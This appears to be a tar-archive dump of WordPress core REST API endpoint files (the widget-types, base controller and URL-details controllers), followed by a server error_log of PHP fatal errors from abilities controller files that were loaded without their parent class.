"widget-$id" ] ) ) { $new_instance = array_first( $request['form_data'][ "widget-$id" ] ); $old_instance = $instance; $instance = $widget_object->update( $new_instance, $old_instance ); /** This filter is documented in wp-includes/class-wp-widget.php */ $instance = apply_filters( 'widget_update_callback', $instance, $new_instance, $old_instance, $widget_object ); } $serialized_instance = serialize( $instance ); $widget_key = $wp_widget_factory->get_widget_key( $id ); $response = array( 'form' => trim( $this->get_widget_form( $widget_object, $instance ) ), 'preview' => trim( $this->get_widget_preview( $widget_key, $instance ) ), 'instance' => array( 'encoded' => base64_encode( $serialized_instance ), 'hash' => wp_hash( $serialized_instance ), ), ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { // Use new stdClass so that JSON result is {} and not []. $response['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance; } return rest_ensure_response( $response ); } /** * Returns the output of WP_Widget::widget() when called with the provided * instance. Used by encode_form_data() to preview a widget. * @since 5.8.0 * * @param string $widget The widget's PHP class name (see class-wp-widget.php). * @param array $instance Widget instance settings. * @return string */ private function get_widget_preview( $widget, $instance ) { ob_start(); the_widget( $widget, $instance ); return ob_get_clean(); } /** * Returns the output of WP_Widget::form() when called with the provided * instance. Used by encode_form_data() to preview a widget's form. * * @since 5.8.0 * * @param WP_Widget $widget_object Widget object to call widget() on. * @param array $instance Widget instance settings. * @return string */ private function get_widget_form( $widget_object, $instance ) { ob_start(); /** This filter is documented in wp-includes/class-wp-widget.php */ $instance = apply_filters( 'widget_form_callback', $instance, $widget_object ); if ( false !== $instance ) { $return = $widget_object->form( $instance ); /** This filter is documented in wp-includes/class-wp-widget.php */ do_action_ref_array( 'in_widget_form', array( &$widget_object, &$return, $instance ) ); } return ob_get_clean(); } /** * Renders a single Legacy Widget and wraps it in a JSON-encodable array. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * * @return array An array with rendered Legacy Widget HTML. */ public function render( $request ) { return array( 'preview' => $this->render_legacy_widget_preview_iframe( $request['id'], $request['instance'] ?? null ), ); } /** * Renders a page containing a preview of the requested Legacy Widget block. * * @since 5.9.0 * * @param string $id_base The id base of the requested widget. * @param array $instance The widget instance attributes. * * @return string Rendered Legacy Widget block preview. */ private function render_legacy_widget_preview_iframe( $id_base, $instance ) { if ( ! defined( 'IFRAME_REQUEST' ) ) { define( 'IFRAME_REQUEST', true ); } ob_start(); ?> > >
get_registered( 'core/legacy-widget' ); echo $block->render( array( 'idBase' => $id_base, 'instance' => $instance, ) ); ?>
$this->get_context_param( array( 'default' => 'view' ) ), ); } } class-wp-rest-controller.php000064400000045137152506367270012171 0ustar00 405 ) ); } /** * Retrieves a collection of items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to get a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Retrieves one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to create items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Creates one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to update a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Updates one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Checks if a given request has access to delete a specific item. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Deletes one item from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares one item for create or update operation. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object|WP_Error The prepared item, or WP_Error object on failure. */ protected function prepare_item_for_database( $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares the item for the REST response. * * @since 4.7.0 * * @param mixed $item WordPress representation of the item. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { return new WP_Error( 'invalid-method', /* translators: %s: Method name. */ sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ), array( 'status' => 405 ) ); } /** * Prepares a response for insertion into a collection. * * @since 4.7.0 * * @param WP_REST_Response $response Response object. * @return array|mixed Response data, ready for insertion into collection data. */ public function prepare_response_for_collection( $response ) { if ( ! ( $response instanceof WP_REST_Response ) ) { return $response; } $data = (array) $response->get_data(); $server = rest_get_server(); $links = $server::get_compact_response_links( $response ); if ( ! empty( $links ) ) { $data['_links'] = $links; } return $data; } /** * Filters a response based on the context defined in the schema. * * @since 4.7.0 * * @param array $response_data Response data to filter. * @param string $context Context defined in the schema. * @return array Filtered response. */ public function filter_response_by_context( $response_data, $context ) { $schema = $this->get_item_schema(); return rest_filter_response_by_context( $response_data, $schema, $context ); } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { return $this->add_additional_fields_schema( array() ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 4.7.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = $this->get_item_schema(); if ( ! empty( $schema['properties'] ) ) { foreach ( $schema['properties'] as &$property ) { unset( $property['arg_options'] ); } } return $schema; } /** * Retrieves the query params for the collections. * * @since 4.7.0 * * @return array Query parameters for the collection. */ public function get_collection_params() { return array( 'context' => $this->get_context_param(), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 10, 'minimum' => 1, 'maximum' => 100, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', ), 'search' => array( 'description' => __( 'Limit results to those matching a string.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', 'validate_callback' => 'rest_validate_request_arg', ), ); } /** * Retrieves the magical context param. * * Ensures consistent descriptions between endpoints, and populates enum from schema. * * @since 4.7.0 * * @param array $args Optional. Additional arguments for context parameter. Default empty array. * @return array Context parameter details. */ public function get_context_param( $args = array() ) { $param_details = array( 'description' => __( 'Scope under which the request is made; determines fields present in response.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ); $schema = $this->get_item_schema(); if ( empty( $schema['properties'] ) ) { return array_merge( $param_details, $args ); } $contexts = array(); foreach ( $schema['properties'] as $attributes ) { if ( ! empty( $attributes['context'] ) ) { $contexts = array_merge( $contexts, $attributes['context'] ); } } if ( ! empty( $contexts ) ) { $param_details['enum'] = array_unique( $contexts ); rsort( $param_details['enum'] ); } return array_merge( $param_details, $args ); } /** * Adds the values from additional fields to a data object. * * @since 4.7.0 * * @param array $response_data Prepared response array. * @param WP_REST_Request $request Full details about the request. * @return array Modified data object with additional fields. */ protected function add_additional_fields_to_object( $response_data, $request ) { $additional_fields = $this->get_additional_fields(); $requested_fields = $this->get_fields_for_response( $request ); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['get_callback'] ) { continue; } if ( ! rest_is_field_included( $field_name, $requested_fields ) ) { continue; } $response_data[ $field_name ] = call_user_func( $field_options['get_callback'], $response_data, $field_name, $request, $this->get_object_type() ); } return $response_data; } /** * Updates the values of additional fields added to a data object. * * @since 4.7.0 * * @param object $data_object Data model like WP_Term or WP_Post. * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True on success, WP_Error object if a field cannot be updated. */ protected function update_additional_fields_for_object( $data_object, $request ) { $additional_fields = $this->get_additional_fields(); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['update_callback'] ) { continue; } // Don't run the update callbacks if the data wasn't passed in the request. if ( ! isset( $request[ $field_name ] ) ) { continue; } $result = call_user_func( $field_options['update_callback'], $request[ $field_name ], $data_object, $field_name, $request, $this->get_object_type() ); if ( is_wp_error( $result ) ) { return $result; } } return true; } /** * Adds the schema from additional fields to a schema array. * * The type of object is inferred from the passed schema. * * @since 4.7.0 * * @param array $schema Schema array. * @return array Modified Schema array. */ protected function add_additional_fields_schema( $schema ) { if ( empty( $schema['title'] ) ) { return $schema; } // Can't use $this->get_object_type otherwise we cause an inf loop. $object_type = $schema['title']; $additional_fields = $this->get_additional_fields( $object_type ); foreach ( $additional_fields as $field_name => $field_options ) { if ( ! $field_options['schema'] ) { continue; } $schema['properties'][ $field_name ] = $field_options['schema']; } return $schema; } /** * Retrieves all of the registered additional fields for a given object-type. * * @since 4.7.0 * * @global array $wp_rest_additional_fields Holds registered fields, organized by object type. * * @param string $object_type Optional. The object type. * @return array Registered additional fields (if any), empty array if none or if the object type * could not be inferred. */ protected function get_additional_fields( $object_type = null ) { global $wp_rest_additional_fields; if ( ! $object_type ) { $object_type = $this->get_object_type(); } if ( ! $object_type ) { return array(); } if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) { return array(); } return $wp_rest_additional_fields[ $object_type ]; } /** * Retrieves the object type this controller is responsible for managing. * * @since 4.7.0 * * @return string Object type for the controller. */ protected function get_object_type() { $schema = $this->get_item_schema(); if ( ! $schema || ! isset( $schema['title'] ) ) { return null; } return $schema['title']; } /** * Gets an array of fields to be included on the response. * * Included fields are based on item schema and `_fields=` request argument. * * @since 4.9.6 * * @param WP_REST_Request $request Full details about the request. * @return string[] Fields to be included in the response. */ public function get_fields_for_response( $request ) { $schema = $this->get_item_schema(); $properties = $schema['properties'] ?? array(); $additional_fields = $this->get_additional_fields(); foreach ( $additional_fields as $field_name => $field_options ) { /* * For back-compat, include any field with an empty schema * because it won't be present in $this->get_item_schema(). */ if ( is_null( $field_options['schema'] ) ) { $properties[ $field_name ] = $field_options; } } // Exclude fields that specify a different context than the request context. $context = $request['context']; if ( $context ) { foreach ( $properties as $name => $options ) { if ( ! empty( $options['context'] ) && ! in_array( $context, $options['context'], true ) ) { unset( $properties[ $name ] ); } } } $fields = array_keys( $properties ); /* * '_links' and '_embedded' are not typically part of the item schema, * but they can be specified in '_fields', so they are added here as a * convenience for checking with rest_is_field_included(). */ $fields[] = '_links'; if ( $request->has_param( '_embed' ) ) { $fields[] = '_embedded'; } $fields = array_unique( $fields ); if ( ! isset( $request['_fields'] ) ) { return $fields; } $requested_fields = wp_parse_list( $request['_fields'] ); if ( 0 === count( $requested_fields ) ) { return $fields; } // Trim off outside whitespace from the comma delimited list. $requested_fields = array_map( 'trim', $requested_fields ); // Always persist 'id', because it can be needed for add_additional_fields_to_object(). if ( in_array( 'id', $fields, true ) ) { $requested_fields[] = 'id'; } // Return the list of all requested fields which appear in the schema. return array_reduce( $requested_fields, static function ( $response_fields, $field ) use ( $fields ) { if ( in_array( $field, $fields, true ) ) { $response_fields[] = $field; return $response_fields; } // Check for nested fields if $field is not a direct match. $nested_fields = explode( '.', $field ); /* * A nested field is included so long as its top-level property * is present in the schema. */ if ( in_array( $nested_fields[0], $fields, true ) ) { $response_fields[] = $field; } return $response_fields; }, array() ); } /** * Retrieves an array of endpoint arguments from the item schema for the controller. * * @since 4.7.0 * * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are * checked for required values and may fall-back to a given default, this is not done * on `EDITABLE` requests. Default WP_REST_Server::CREATABLE. * @return array Endpoint arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { return rest_get_endpoint_args_for_schema( $this->get_item_schema(), $method ); } /** * Sanitizes the slug value. * * {@internal We can't use sanitize_title() directly, as the second * parameter is the fallback title, which would end up being set to the * request object.} * * @since 4.7.0 * * @link https://github.com/WP-API/WP-API/issues/1585 * * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659 * * @param string $slug Slug value passed in request. * @return string Sanitized value for the slug. */ public function sanitize_slug( $slug ) { return sanitize_title( $slug ); } } class-wp-rest-url-details-controller.php000064400000050111152506367270014400 0ustar00namespace = 'wp-block-editor/v1'; $this->rest_base = 'url-details'; } /** * Registers the necessary REST API routes. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'parse_url_details' ), 'args' => array( 'url' => array( 'required' => true, 'description' => __( 'The URL to process.' ), 'validate_callback' => 'wp_http_validate_url', 'sanitize_callback' => 'sanitize_url', 'type' => 'string', 'format' => 'uri', ), ), 'permission_callback' => array( $this, 'permissions_check' ), 'schema' => array( $this, 'get_public_item_schema' ), ), ) ); } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'url-details', 'type' => 'object', 'properties' => array( 'title' => array( 'description' => sprintf( /* translators: %s: HTML title tag. */ __( 'The contents of the %s element from the URL.' ), '' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'icon' => array( 'description' => sprintf( /* translators: %s: HTML link tag. */ __( 'The favicon image link of the %s element from the URL.' ), '<link rel="icon">' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => sprintf( /* translators: %s: HTML meta tag. */ __( 'The content of the %s element from the URL.' ), '<meta name="description">' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'image' => array( 'description' => sprintf( /* translators: 1: HTML meta tag, 2: HTML meta tag. */ __( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ), '<meta property="og:image">', '<meta property="og:image:url">' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the contents of the title tag from the HTML response. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors. */ public function parse_url_details( $request ) { $url = untrailingslashit( $request['url'] ); if ( empty( $url ) ) { return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) ); } // Transient per URL. $cache_key = $this->build_cache_key_for_url( $url ); // Attempt to retrieve cached response. $cached_response = $this->get_cache( $cache_key ); if ( ! empty( $cached_response ) ) { $remote_url_response = $cached_response; } else { $remote_url_response = $this->get_remote_url( $url ); // Exit if we don't have a valid body or it's empty. if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) { return $remote_url_response; } // Cache the valid response. $this->set_cache( $cache_key, $remote_url_response ); } $html_head = $this->get_document_head( $remote_url_response ); $meta_elements = $this->get_meta_with_content_elements( $html_head ); $data = $this->add_additional_fields_to_object( array( 'title' => $this->get_title( $html_head ), 'icon' => $this->get_icon( $html_head, $url ), 'description' => $this->get_description( $meta_elements ), 'image' => $this->get_image( $meta_elements, $url ), ), $request ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); /** * Filters the URL data for the response. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param string $url The requested URL. * @param WP_REST_Request $request Request object. * @param string $remote_url_response HTTP response body from the remote URL. */ return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response ); } /** * Checks whether a given request has permission to read remote URLs. * * @since 5.9.0 * * @return true|WP_Error True if the request has permission, else WP_Error. */ public function permissions_check() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view_url_details', __( 'Sorry, you are not allowed to process remote URLs.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves the document title from a remote URL. * * @since 5.9.0 * * @param string $url The website URL whose HTML to access. * @return string|WP_Error The HTTP response from the remote URL on success. * WP_Error if no response or no content. */ private function get_remote_url( $url ) { /* * Provide a modified UA string to workaround web properties which block WordPress "Pingbacks". * Why? The UA string used for pingback requests contains `WordPress/` which is very similar * to that used as the default UA string by the WP HTTP API. Therefore requests from this * REST endpoint are being unintentionally blocked as they are misidentified as pingback requests. * By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP") * we are able to work around this issue. * Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`. */ $modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')'; $args = array( 'limit_response_size' => 150 * KB_IN_BYTES, 'user-agent' => $modified_user_agent, ); /** * Filters the HTTP request args for URL data retrieval. * * Can be used to adjust response size limit and other WP_Http::request() args. * * @since 5.9.0 * * @param array $args Arguments used for the HTTP request. * @param string $url The attempted URL. */ $args = apply_filters( 'rest_url_details_http_request_args', $args, $url ); $response = wp_safe_remote_get( $url, $args ); if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) { // Not saving the error response to cache since the error might be temporary. return new WP_Error( 'no_response', __( 'URL not found. Response returned a non-200 status code for this URL.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } $remote_body = wp_remote_retrieve_body( $response ); if ( empty( $remote_body ) ) { return new WP_Error( 'no_content', __( 'Unable to retrieve body from response at this URL.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } return $remote_body; } /** * Parses the title tag contents from the provided HTML. * * @since 5.9.0 * * @param string $html The HTML from the remote website at URL. * @return string The title tag contents on success. Empty string if not found. */ private function get_title( $html ) { $pattern = '#<title[^>]*>(.*?)<\s*/\s*title>#is'; preg_match( $pattern, $html, $match_title ); if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) { return ''; } $title = trim( $match_title[1] ); return $this->prepare_metadata_for_output( $title ); } /** * Parses the site icon from the provided HTML. * * @since 5.9.0 * * @param string $html The HTML from the remote website at URL. * @param string $url The target website URL. * @return string The icon URI on success. Empty string if not found. */ private function get_icon( $html, $url ) { // Grab the icon's link element. $pattern = '#<link\s[^>]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU'; preg_match( $pattern, $html, $element ); if ( empty( $element[0] ) || ! is_string( $element[0] ) ) { return ''; } $element = trim( $element[0] ); // Get the icon's href value. $pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU'; preg_match( $pattern, $element, $icon ); if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) { return ''; } $icon = trim( $icon[2] ); // If the icon is a data URL, return it. $parsed_icon = parse_url( $icon ); if ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) { return $icon; } // Attempt to convert relative URLs to absolute. if ( ! is_string( $url ) || '' === $url ) { return $icon; } $parsed_url = parse_url( $url ); if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) { $root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/'; $icon = WP_Http::make_absolute_url( $icon, $root_url ); } return $icon; } /** * Parses the meta description from the provided HTML. * * @since 5.9.0 * * @param array $meta_elements { * A multidimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @return string The meta description contents on success. Empty string if not found. */ private function get_description( $meta_elements ) { // Bail out if there are no meta elements. if ( empty( $meta_elements[0] ) ) { return ''; } $description = $this->get_metadata_from_meta_element( $meta_elements, 'name', '(?:description|og:description)' ); // Bail out if description not found. if ( '' === $description ) { return ''; } return $this->prepare_metadata_for_output( $description ); } /** * Parses the Open Graph (OG) Image from the provided HTML. * * See: https://ogp.me/. * * @since 5.9.0 * * @param array $meta_elements { * A multidimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @param string $url The target website URL. * @return string The OG image on success. Empty string if not found. */ private function get_image( $meta_elements, $url ) { $image = $this->get_metadata_from_meta_element( $meta_elements, 'property', '(?:og:image|og:image:url)' ); // Bail out if image not found. if ( '' === $image ) { return ''; } // Attempt to convert relative URLs to absolute. $parsed_url = parse_url( $url ); if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) { $root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/'; $image = WP_Http::make_absolute_url( $image, $root_url ); } return $image; } /** * Prepares the metadata by: * - stripping all HTML tags and tag entities. * - converting non-tag entities into characters. * * @since 5.9.0 * * @param string $metadata The metadata content to prepare. * @return string The prepared metadata. */ private function prepare_metadata_for_output( $metadata ) { $metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) ); $metadata = wp_strip_all_tags( $metadata ); return $metadata; } /** * Utility function to build cache key for a given URL. * * @since 5.9.0 * * @param string $url The URL for which to build a cache key. * @return string The cache key. */ private function build_cache_key_for_url( $url ) { return 'g_url_details_response_' . md5( $url ); } /** * Utility function to retrieve a value from the cache at a given key. * * @since 5.9.0 * * @param string $key The cache key. * @return mixed The value from the cache. */ private function get_cache( $key ) { return get_site_transient( $key ); } /** * Utility function to cache a given data set at a given cache key. * * @since 5.9.0 * * @param string $key The cache key under which to store the value. * @param string $data The data to be stored at the given cache key. * @return bool True when transient set. False if not set. */ private function set_cache( $key, $data = '' ) { $ttl = HOUR_IN_SECONDS; /** * Filters the cache expiration. * * Can be used to adjust the time until expiration in seconds for the cache * of the data retrieved for the given URL. * * @since 5.9.0 * * @param int $ttl The time until cache expiration in seconds. */ $cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl ); return set_site_transient( $key, $data, $cache_expiration ); } /** * Retrieves the head element section. * * @since 5.9.0 * * @param string $html The string of HTML to parse. * @return string The `<head>..</head>` section on success. Given `$html` if not found. */ private function get_document_head( $html ) { $head_html = $html; // Find the opening `<head>` tag. $head_start = strpos( $html, '<head' ); if ( false === $head_start ) { // Didn't find it. Return the original HTML. return $html; } // Find the closing `</head>` tag. $head_end = strpos( $head_html, '</head>' ); if ( false === $head_end ) { // Didn't find it. Find the opening `<body>` tag. $head_end = strpos( $head_html, '<body' ); // Didn't find it. Return the original HTML. if ( false === $head_end ) { return $html; } } // Extract the HTML from opening tag to the closing tag. Then add the closing tag. $head_html = substr( $head_html, $head_start, $head_end ); $head_html .= '</head>'; return $head_html; } /** * Gets all the meta tag elements that have a 'content' attribute. * * @since 5.9.0 * * @param string $html The string of HTML to be parsed. * @return array { * A multidimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } */ private function get_meta_with_content_elements( $html ) { /* * Parse all meta elements with a content attribute. * * Why first search for the content attribute rather than directly searching for name=description element? * tl;dr The content attribute's value will be truncated when it contains a > symbol. * * The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as * it's a string to the browser. Imagine what happens when attempting to match for the name=description * first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match * as the element's closing symbol. But wait, it's in the content attribute and is not the end of the * element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation". * If this happens, what gets matched is not the entire element or all of the content. * * Why not search for the name=description and then content="(.*)"? * The attribute order could be opposite. Plus, additional attributes may exist including being between * the name and content attributes. * * Why not lookahead? * Lookahead is not constrained to stay within the element. The first <meta it finds may not include * the name or content, but rather could be from a different element downstream. */ $pattern = '#<meta\s' . /* * Allows for additional attributes before the content attribute. * Searches for anything other than > symbol. */ '[^>]*' . /* * Find the content attribute. When found, capture its value (.*). * * Allows for (a) single or double quotes and (b) whitespace in the value. * * Why capture the opening quotation mark, i.e. (["\']), and then backreference, * i.e \1, for the closing quotation mark? * To ensure the closing quotation mark matches the opening one. Why? Attribute values * can contain quotation marks, such as an apostrophe in the content. */ 'content=(["\']??)(.*)\1' . /* * Allows for additional attributes after the content attribute. * Searches for anything other than > symbol. */ '[^>]*' . /* * \/?> searches for the closing > symbol, which can be in either /> or > format. * # ends the pattern. */ '\/?>#' . /* * These are the options: * - i : case-insensitive * - s : allows newline characters for the . match (needed for multiline elements) * - U means non-greedy matching */ 'isU'; preg_match_all( $pattern, $html, $elements ); return $elements; } /** * Gets the metadata from a target meta element. * * @since 5.9.0 * * @param array $meta_elements { * A multi-dimensional indexed array on success, else empty array. * * @type string[] $0 Meta elements with a content attribute. * @type string[] $1 Content attribute's opening quotation mark. * @type string[] $2 Content attribute's value for each meta element. * } * @param string $attr Attribute that identifies the element with the target metadata. * @param string $attr_value The attribute's value that identifies the element with the target metadata. * @return string The metadata on success. Empty string if not found. */ private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) { // Bail out if there are no meta elements. if ( empty( $meta_elements[0] ) ) { return ''; } $metadata = ''; $pattern = '#' . /* * Target this attribute and value to find the metadata element. * * Allows for (a) no, single, double quotes and (b) whitespace in the value. * * Why capture the opening quotation mark, i.e. (["\']), and then backreference, * i.e \1, for the closing quotation mark? * To ensure the closing quotation mark matches the opening one. Why? Attribute values * can contain quotation marks, such as an apostrophe in the content. */ $attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' . /* * These are the options: * - i : case-insensitive * - s : allows newline characters for the . match (needed for multiline elements) * - U means non-greedy matching */ '#isU'; // Find the metadata element. foreach ( $meta_elements[0] as $index => $element ) { preg_match( $pattern, $element, $match ); // This is not the metadata element. Skip it. if ( empty( $match ) ) { continue; } /* * Found the metadata element. * Get the metadata from its matching content array. */ if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) { $metadata = trim( $meta_elements[2][ $index ] ); } break; } return $metadata; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������error_log�������������������������������������������������������������������������������������������0000644�����������������00000533734�15250636727�0006515 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������[20-Aug-2026 05:35:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [20-Aug-2026 05:35:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [20-Aug-2026 05:36:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 